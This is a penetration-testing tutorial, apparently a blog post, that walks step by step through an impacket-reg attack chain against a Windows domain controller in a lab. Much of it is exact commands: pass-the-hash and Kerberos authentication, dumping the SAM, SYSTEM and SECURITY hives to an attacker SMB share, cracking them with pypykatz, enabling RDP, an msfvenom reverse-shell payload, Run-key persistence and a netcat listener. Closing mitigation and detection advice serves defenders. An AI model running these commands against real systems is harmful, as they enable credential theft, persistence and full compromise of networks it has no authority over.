Impacket for Pentester: reg

5 de agosto de 2026 Gustavo Genez

Overview

The Windows registry is a hierarchical database that governs application behaviour, user profiles, service configurations, security policies, and system startup. For penetration testers, remote registry read/write access without an interactive session ranks among the most powerful post-exploitation capabilities in an Active Directory environment.

This article presents a complete, end-to-end attack chain using impacket-reg against a Windows Server 2019 domain controller in the ignite.local lab. It covers twenty-three techniques: four authentication methods, three enumeration targets, credential harvesting, RDP enablement, registry key lifecycle management, payload delivery, Run-key persistence, and a live reverse shell callback

Introduction
Lab Environment
Authentication Methods
Password-Based Authentication
Pass-the-Hash Authentication
AES Key Authentication
Kerberos Ticket Cache (ccache) Authentication
Registry Enumeration
Enumerating System Configuration
Enumerating Windows Services
Enumerating Installed Applications
Credential Harvesting via Registry Backup
Starting an SMB Server
Dumping All Hives with the Backup Command
Extracting NTLM Hashes with Pypykatz
Saving Individual Hives with the Save Command
Verifying the Saved Hive Files
Registry Modification for Lateral Movement
Enabling Remote Desktop Protocol (RDP)
Connecting via RDP
Registry Key and Value Management
Creating a New Registry Key
Adding a Registry Value
Deleting a Registry Value
Deleting a Registry Key
Payload Delivery
Generating a Reverse Shell Payload with Msfvenom
Uploading the Payload via Evil-WinRM
Registry-Based Persistence
Writing the Run Key Entry (Multi-Line Format)
Writing the Run Key Entry (Single-Line Format)
Catching the Reverse Shell
Starting the Listener and Receiving the Shell
Mitigation Strategies
- Restrict and Monitor the RemoteRegistry Service
- Enforce Credential Hygiene and Privileged Access Controls
- Protect SAM, SYSTEM, and SECURITY Hives
- Control RDP Access
- Harden WinRM and SMB Access
- Monitor for Reverse Shell Indicators
Conclusion

Introduction

The Impacket library, maintained by Fortra (formerly Core Security), is the de facto Python framework for Windows network protocol interaction. It implements packet crafters and protocol handlers for SMB, MSRPC, LDAP, Kerberos, and NTLM, underpinning tools such as secretsdump, psexec, smbexec, wmiexec, and GetUserSPNs. Impacket-reg wraps MS-RRP over SMB, mirroring native reg.exe from a remote host.

The RemoteRegistry service exposes the registry through the pipewinreg named pipe over SMB. Impacket-reg connects, auto-starts RemoteRegistry if stopped, runs the operation, then stops the service again — remaining clean and service-state-aware.

Registry access unlocks several objectives at once. Enumerating HKLMSOFTWARE reveals installed software; querying HKLMSYSTEMCurrentControlSetServices exposes registered services for privilege escalation research. Dumping the SAM, SYSTEM, and SECURITY hives extracts local hashes without touching lsass.exe, bypassing LSASS-focused EDR. Writing the Terminal Server key enables RDP; writing the Run key establishes reboot-persistent access.

Four authentication methods — plaintext credentials, NTLM hash, AES Kerberos key, and ticket cache — make impacket-reg usable at every engagement stage, from phishing-captured plaintext to tickets pulled from domain controllers. This article documents each technique with exact syntax, expected output, and context for both lab replication and production detection.

Lab Environment

All techniques documented in this article were performed in an isolated VMware-based Active Directory lab. No production systems or networks were involved. The lab consists of the following components:

The lab replicates a realistic post-exploitation scenario in which the attacker has already obtained valid domain credentials — either through phishing, password spraying, or an earlier compromise — and now uses impacket-reg to escalate impact.

Authentication Methods

Impacket-reg supports four credential types: plaintext password, NTLM hash, AES Kerberos key, and a Kerberos ticket cache (ccache). Each method grants identical registry access — the choice depends on which credential material the attacker has obtained during the engagement.

Password-Based Authentication

The most direct method passes plaintext credentials in the format domain/user:password@target. Impacket-reg automatically detects whether RemoteRegistry is running and starts it if necessary, performs the requested operation, then stops the service — leaving the system in its original service state after every operation.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 query -keyName HKLM\SOFTWARE

The tool detects that RemoteRegistry is stopped, starts it automatically, then queries HKLMSOFTWARE and returns all subkeys — exposing installed software namespaces including Google, Intel, Microsoft, Mozilla, VMware, XAMPP, and a custom TestKey entry — before stopping the service after the operation completes.

Pass-the-Hash Authentication

When plaintext credentials are unavailable, but an NTLM hash has been captured — through secretsdump, Mimikatz, or a SAM dump — impacket-reg accepts the hash directly via the -hashes flag in LMHash:NTHash format. This Pass-the-Hash technique authenticates without decrypting the hash, making it immediately usable after extraction.

impacket-reg -hashes :32196B56FFE6F45E294117B91A83BF38 ignite.local/administrator@192.168.1.12 query -keyName HKLM\SOFTWARE

By supplying only the NT hash (leaving the LM portion empty), the tool authenticates successfully. It returns the identical HKLMSOFTWARE subkey listing — confirming that hash-based authentication provides equivalent registry access to a valid plaintext password.

AES Key Authentication

In Kerberos environments where AES encryption is enforced, impacket-reg accepts an AES-256 session key via the -aesKey parameter. The tool derives a Kerberos service ticket from this key and uses it to authenticate against the domain controller without transmitting a password or hash over the wire — making this method suitable for environments with NTLM restriction policies.

impacket-reg -aesKey e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7 ignite.local/administrator@dc1.ignite.local query -keyName HKLM\SOFTWARE

The tool notes the absence of a CCache ticket file, skips the cache lookup, and authenticates using the provided AES-256 key. It successfully enumerates the SOFTWARE hive and returns the same comprehensive subkey listing as the previous methods.

Kerberos Ticket Cache (ccache) Authentication

The stealthiest option reuses an existing Kerberos ticket cache (ccache file) obtained during earlier privilege escalation or ticket theft — such as an overpass-the-hash attack or Rubeus extraction. The operator exports the ticket path via the KRB5CCNAME environment variable, then passes -k -no-pass to instruct impacket-reg to use the cached ticket without prompting for additional credentials. This method transmits no credential material over the network beyond the Kerberos ticket exchange itself.

export KRB5CCNAME=Administrator.ccache

impacket-reg -k -no-pass ignite.local/administrator@dc1.ignite.local query -keyName HKLM\SOFTWARE

The pre-obtained ticket authenticates the session without transmitting a password or hash, achieving the lowest possible detection footprint while gaining full registry read access to the domain controller.

Registry Enumeration (Query Command)

With authenticated access established, impacket-reg enables targeted registry enumeration. Querying specific keys exposes system paths, installed software, and running services — intelligence that directly informs planning for privilege escalation, research into software vulnerabilities, and lateral movement decisions.

Enumerating System Configuration

The HKLMSOFTWAREMicrosoftWindowsCurrentVersion key stores critical operating system configuration values including program file directories, common library paths, device paths, and media paths. These REG_SZ and REG_EXPAND_SZ entries expose the filesystem layout of the target — information essential for planning file-based persistence or identifying writable locations accessible to high-privilege processes.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion"

The output displays ProgramFilesDir, CommonFilesDir, DevicePath, MediaPathUnexpanded, and ProgramFilesPath values, together with dozens of subkeys spanning application management, authentication, Bluetooth, BITS, and cloud experience services — providing a complete picture of the target operating system configuration.

Enumerating Windows Services

The HKLMSYSTEMCurrentControlSetServices hive contains the complete service registry of the target, including every driver, system service, and third-party service installed on the host. Enumerating this path surfaces unquoted service paths, misconfigured service permissions, and non-standard services that may serve as privilege escalation or persistence vectors.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services"

The output returns hundreds of entries including .NET CLR runtime components, ACPI and hardware drivers, Active Directory services (adsi, ADWS), AFD networking, and custom services — delivering a complete map of the target’s service attack surface without requiring any interactive session on the host.

Enumerating Installed Applications

The HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall key holds a registry entry for every application installed via Windows Installer (MSI) or a compatible installer on the target. Each subkey contains the application name, version, publisher, and install location. Security testers use this to identify outdated or vulnerable software, third-party tools with known exploitable configurations, or applications associated with specific attack chains.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

The results expose Mozilla Firefox, Notepad++, XAMPP, MPlayer2, and Connection Manager, alongside several MSI-packaged components identified by GUID keys — delivering the full software inventory of the target domain controller in a single remote registry query.

Credential Harvesting via Registry (Backup Command)

The SAM, SYSTEM, and SECURITY registry hives together contain every local account credential stored on a Windows host. The SAM hive holds encrypted password hashes, the SYSTEM hive contains the boot key needed to decrypt them, and the SECURITY hive stores cached domain credentials and LSA secrets. Impacket-reg can export all three remotely to an attacker- controlled SMB share, enabling offline hash extraction without accessing lsass.exe memory.

Starting an SMB Server

Before dumping hives, the operator starts an SMB server on the Kali machine using impacket-smbserver. This creates a network share that the target Windows host will write the exported hive files to over the network. The -smb2support flag ensures compatibility with Windows Server 2019, which enforces SMBv2 or higher and rejects SMBv1 connections.

impacket-smbserver share $(pwd) -smb2support

The server creates a share named “share” pointing to the current working directory on the Kali machine, accepting incoming file writes from the target. It is now ready to receive the exported registry hive files.

Dumping All Hives with the Backup Command

The backup subcommand exports the SAM, SYSTEM, and SECURITY hives in a single atomic operation, writing each to the specified remote share. Impacket-reg triggers RemoteRegistry via a named pipe, bypassing the service status check, and completes the dump without requiring administrative tools to be present on the target host.

impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" backup -o '\192.168.1.6\share'

The tool triggers the named pipe and saves SAM.save, SYSTEM.save, and SECURITY.save directly to the Kali SMB share — delivering all three hive files in a single command, ready for offline hash extraction.

Extracting NTLM Hashes with Pypykatz

With the hive files on the Kali machine, pypykatz — a Python-native implementation of Mimikatz’s offline registry parsing functionality — decrypts the SAM database using the boot key extracted from the SYSTEM hive and outputs all local account NTLM hashes in a format ready for Pass-the-Hash attacks or offline cracking.

pypykatz registry --sam SAM.save SYSTEM.save

Pypykatz extracts the SYSTEM boot key (1dcb090010f8831f0f488733301b6fdf), decrypts the SAM database, and outputs the full credential dump. The Administrator account’s NTLM hash (32196B56FFE6F45E294117B91A83BF38) appears in the output — the same hash used in the Pass-the-Hash authentication demonstration — confirming the complete credential extraction chain.

Saving Individual Hives with the Save Command (Save Command)

As an alternative to the backup command, the save subcommand exports individual hives one at a time. This provides granular control over which hive to export and is compatible with older Impacket versions that may not support the backup subcommand.

impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" save -keyName 'HKLM\SAM' -o '\192.168.1.6\share'
impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" save -keyName 'HKLM\SYSTEM' -o '\192.168.1.6\share'
impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" save -keyName 'HKLM\SECURITY' -o '\192.168.1.6\share'

Each command connects via the named pipe and exports the respective hive, producing the same three-file set as the backup method — with explicit per-hive control over the export sequence.

Verifying the Saved Hive Files

A directory listing on the Kali machine confirms that all three hive files arrived with timestamps from the current session, verifying that the export completed successfully and the files are intact for parsing with pypykatz or impacket-secretsdump.

The listing shows SAM.save at 49 KB, SECURITY.save at 36 KB, and SYSTEM.save at 17 MB — all written within the same minute, confirming a complete and consistent hive dump ready for offline credential extraction.

Registry Modification for Lateral Movement (Add Command)

Beyond read operations, impacket-reg can write to the remote registry — enabling attackers to modify system settings that directly affect access and connectivity to the target. The most impactful write operation in lateral movement scenarios is enabling RDP, which opens a graphical session channel without requiring any console access to the host.

Enabling Remote Desktop Protocol (RDP)

Windows controls RDP availability through the fDenyTSConnections registry value under the Terminal Server control key. A value of 1 (the default on Server Core or hardened systems) disables RDP; setting it to 0 enables the service. Impacket-reg writes this value remotely without requiring an existing RDP session or any tool on the target host, using only an authenticated SMB connection.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 add 
  -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" 
  -v fDenyTSConnections 
  -vt REG_DWORD 
  -vd 0

Impacket-reg starts RemoteRegistry, writes the fDenyTSConnections DWORD to 0 within the Terminal Server control path, and confirms the successful write operation — displaying the key, type, and value — before stopping RemoteRegistry. RDP becomes available immediately without requiring a host restart.

Connecting via RDP

With RDP now enabled, the operator connects from Kali using rdesktop — a Linux-native RDP client — to establish a full graphical desktop session on the domain controller. This confirms that the registry modification took immediate effect.

rdesktop 192.168.1.12

The Windows Server 2019 login screen for DC1 appears, accepting domain credentials and providing complete graphical access to the target system — confirming successful lateral movement via remote registry modification alone.

Registry Key and Value Management

Impacket-reg provides a complete create, read, update, and delete (CRUD) interface for registry keys and values. These operations underpin persistence mechanisms, configuration staging, and post-engagement cleanup — giving operators fine-grained control over the target registry state.

Creating a New Registry Key

The add subcommand without a -v flag creates an empty subkey at the specified path. Attackers use this to create new persistence locations, establish custom configuration namespaces, or prepare keys before populating them with values in subsequent operations.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 add -keyName HKLM\SOFTWARE\PentestLab

Impacket-reg creates HKLMSOFTWAREPentestLab and confirms with “Successfully set subkey HKLMSOFTWAREPentestLab” — making the key immediately available for value population.

Adding a Registry Value

After creating the key, the operator populates it with a named value using the -v (value name), -vt (data type), and -vd (data content) flags. This same pattern applies when writing persistence payloads, backdoor configurations, or encoded staging data to any registry key.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 add -keyName HKLM\SOFTWARE\PentestLab -v TestValue -vt REG_SZ -vd "LabData"

The tool confirms the write with the full path (HKLMSOFTWAREPentestLabTestValue), the type (REG_SZ), and the stored data (LabData) — verifying that the value write operation completed without error.

Deleting a Registry Value

The delete subcommand with the -v flag removes a specific value from a key while leaving the key structure intact. This enables surgical removal of individual entries — for example, removing a specific persistence value while preserving the key hierarchy around it.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 delete  -keyName HKLM\SOFTWARE\PentestLab -v TestValue

Impacket-reg confirms with “Successfully deleted key HKLMSOFTWAREPentestLabTestValue” — removing the value from the key while the PentestLab key itself remains intact.

Deleting a Registry Key

Omitting the -v flag from a delete command targets the entire key, removing it and all values it contains. This operation supports post-engagement cleanup — removing all registry artefacts created during the test and restoring the target registry to its pre-engagement state.

impacket-reg ignite.local/administrator:Ignite@987@192.168.1.12 delete -keyName HKLM\SOFTWARE\PentestLab

The tool confirms with “Successfully deleted subkey HKLMSOFTWAREPentestLab” — completely removing the key and completing the full CRUD lifecycle: create, populate, remove value, and remove key.

Registry Persistence

With registry access established and intelligence gathered, the operator moves to payload delivery — placing an executable on the target host that will be used to establish a reverse shell. The delivery uses two complementary tools: msfvenom for payload generation and Evil-WinRM for transfer, leveraging the Administrator credentials confirmed through registry access.

Generating a Reverse Shell Payload with Msfvenom

Msfvenom, part of the Metasploit Framework, generates self-contained executable payloads. The windows/shell_reverse_tcp payload embeds a raw TCP reverse shell that initiates an outbound connection to the attacker’s listener. Port 443 is chosen because it matches the HTTPS port, which is typically permitted through egress firewall rules and generates less alert noise than non-standard ports.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.6 lport=443 -f exe > shell.exe

Msfvenom selects Windows automatically and writes it to shell.exe on the Kali filesystem — ready for upload to the target.

Uploading the Payload via Evil-WinRM

Evil-WinRM connects to the target via Windows Remote Management (WinRM, port 5985) and provides a PowerShell-based remote shell with built-in file transfer commands. The operator authenticates using the Administrator credentials, navigates to a writable directory, and uploads the payload using Evil-WinRM’s upload command.

evil-winrm -i 192.168.1.12 -u administrator -p Ignite@987
cd c:temp
upload shell.exe

Evil-WinRM establishes the PowerShell session and transfers all 9556 bytes of shell.exe to C:tempshell.exe on the domain controller. The payload is now on the target and ready to execute.

With the payload on disk, the operator establishes persistence by writing its path to the HKLMSoftwareMicrosoftWindowsCurrentVersionRun key. The Run key executes every registered executable at user logon, making it one of the most common and effective Windows persistence mechanisms. Impacket-reg writes this entry entirely over SMB — no interactive session on the target is required.

Writing the Run Key Entry (Multi-Line Format)

The operator registers shell.exe under a key named “MyApp” in the Run key. The multi-line backslash continuation format breaks the command across several lines for readability — preferred for documentation, reports, or interactive terminal use. Impacket-reg confirms the write with a structured output showing the full key path, data type, and registered value.

impacket-reg ignite.local/administrator:'Ignite@987'@192.168.1.12 add 
  -keyName "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" 
  -v "MyApp" 
  -vt REG_SZ 
  -vd "C:\temp\shell.exe"

The tool confirms the write — displaying the full path HKLMSoftwareMicrosoftWindowsCurrentVersionRunMyApp, the type (REG_SZ), and the value (C:tempshell.exe). The persistence entry is now active: shell.exe will execute on the next user logon or system restart.

Writing the Run Key Entry (Single-Line Format)

The identical persistence entry expressed as a single-line command is preferred for scripted automation, one-liner execution chains, or piping into shell sessions where backslash continuation characters may be misinterpreted. This format also clearly exposes the full RemoteRegistry service lifecycle — start, write, stop — demonstrating that impacket-reg manages the service automatically regardless of how the command is formatted.

impacket-reg ignite.local/administrator:'Ignite@987'@192.168.1.12 add -keyName "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -v "MyApp" -vt REG_SZ -vd "C:\temp\shell.exe"

The output shows RemoteRegistry transitioning from stopped to running, the successful set operation confirming key, type, and value, then RemoteRegistry stopping — the identical result as the multi-line format, with the full lifecycle visible in one terminal output.

Catching the Reverse Shell

With the Run key persistence entry in place and shell.exe at C:tempshell.exe, the complete attack chain is ready to execute. The operator starts a listener on the Kali machine before the target system restarts or a user logs on. When Windows processes the Run key, shell.exe fires automatically and initiates a TCP connection back to the waiting listener — closing the loop from registry access to remote command execution.

rlwrap nc -lvnp 443

The listener binds to all interfaces and waits. When the target processes the Run key — on the next user logon or system restart — shell.exe executes and establishes a TCP connection from 192.168.1.12:49736 to the Kali listener on port 443. The shell identifies itself as Microsoft Windows Version 10.0.17763.737 (Windows Server 2019, Build 17763) and drops the operator into a SYSTEM-context command prompt at C:Windowssystem32> — confirming full administrative control over the domain controller through the registry-based attack chain.

Mitigation Strategies

The documented chain abuses several Windows features and default configurations, so effective defence must be layered — addressing each stage from initial registry access to the final reverse shell. Applied together, the controls below sharply reduce the attack surface exposed by impacket-reg and comparable tooling.

Restrict and monitor RemoteRegistry: Impacket-reg depends wholly on the RemoteRegistry service. Disable it via Group Policy on all non-management hosts, especially DCs and servers. Where remote registry access is required, restrict named-pipe access to management IPs with host firewall rules. Block inbound SMB (TCP 445) from workstations to DCs. Monitor Event ID 7036 for unexpected RemoteRegistry starts, and Event ID 5145 for access to the pipewinreg named pipe.
Enforce credential hygiene: All four impacket-reg auth methods require valid privileged credentials. Deploy a PAW model and enforce Tier-0 isolation so Domain Admin credentials never touch lower-trust systems. Enable Credential Guard and LSA Protection (RunAsPPL) to protect LSA secrets. Add Tier-0 accounts to the Protected Users group and set “Account is sensitive and cannot be delegated.” Rotate privileged passwords regularly and after any suspected compromise to invalidate captured hashes.
Protect the SAM, SYSTEM, and SECURITY hives: Apply restrictive ACLs to HKLMSAM and HKLMSECURITY denying read access to all accounts except SYSTEM, blocking remote hive saves even by administrators. Alert on reg.exe save, impacket-reg backup operations, and VSS access to SAM. Correlate RemoteRegistry starts with outbound SMB to non-domain shares in the same session window.
Control RDP access: The RDP-enable technique writes fDenyTSConnections, which takes effect without a restart. Enforce fDenyTSConnections = 1 by GPO where RDP is not needed — refresh reverts unauthorised changes. Block TCP 3389 at perimeter and segment boundaries. Audit Event ID 4657 for modifications to the Terminal Server key via a targeted SACL.
Harden WinRM and SMB: Disable WinRM on hosts that don’t require remote PowerShell; restrict it to management IP ranges via listener ACLs and firewall rules. Alert on WinRM logons (Event ID 4624, Logon Type 3) from Linux or non-domain sources. Enforce SMB signing to defeat relay, and block outbound SMB from DCs to non-domain hosts — impacket-reg backup operations require the DC to initiate that connection.
Monitor for reverse shell indicators: Log process creation with command line (Event ID 4688) and flag shell.exe executing from paths like C:temp. Deploy Sysmon for process and network telemetry (Event IDs 1 and 3) to catch outbound connections to port 443 lacking a TLS handshake. Audit Run-key writes (Event ID 4657) under …CurrentVersionRun. Enforce application allowlisting (AppLocker or WDAC) to block unsigned binaries from temporary directories.

Conclusion

This article documented a twenty-three-step post-exploitation campaign built on impacket-reg — a single tool that turns the Windows Remote Registry Protocol into a full attack surface. From four authentication methods, the chain moves through system enumeration, credential harvesting without touching LSASS, lateral movement via RDP enablement, registry key lifecycle management, payload delivery, startup persistence, and a confirmed reverse shell on a Windows Server 2019 domain controller.

The chain illustrates a core principle of modern tradecraft: given authenticated access and an SMB channel, native Windows protocols can achieve full compromise without malware frameworks. Because impacket-reg rides Microsoft’s own documented Remote Registry Protocol, its traffic is indistinguishable from legitimate administration unless specific monitoring is in place.

For defenders, no single control breaks the chain. Combining RemoteRegistry restrictions, privileged credential hygiene, registry ACL hardening, network-level SMB and WinRM controls, and Run-key monitoring produces a prevention and detection posture that is highly effective against these techniques.

Practitioners should replicate this in isolated labs to validate detection coverage and confirm monitoring rules fire on the expected events before relying on them in production. Understanding the attacker’s workflow — command by command — remains the most reliable path to defences that hold under real-world pressure.

The post Impacket for Pentester: reg appeared first on Hacking Articles.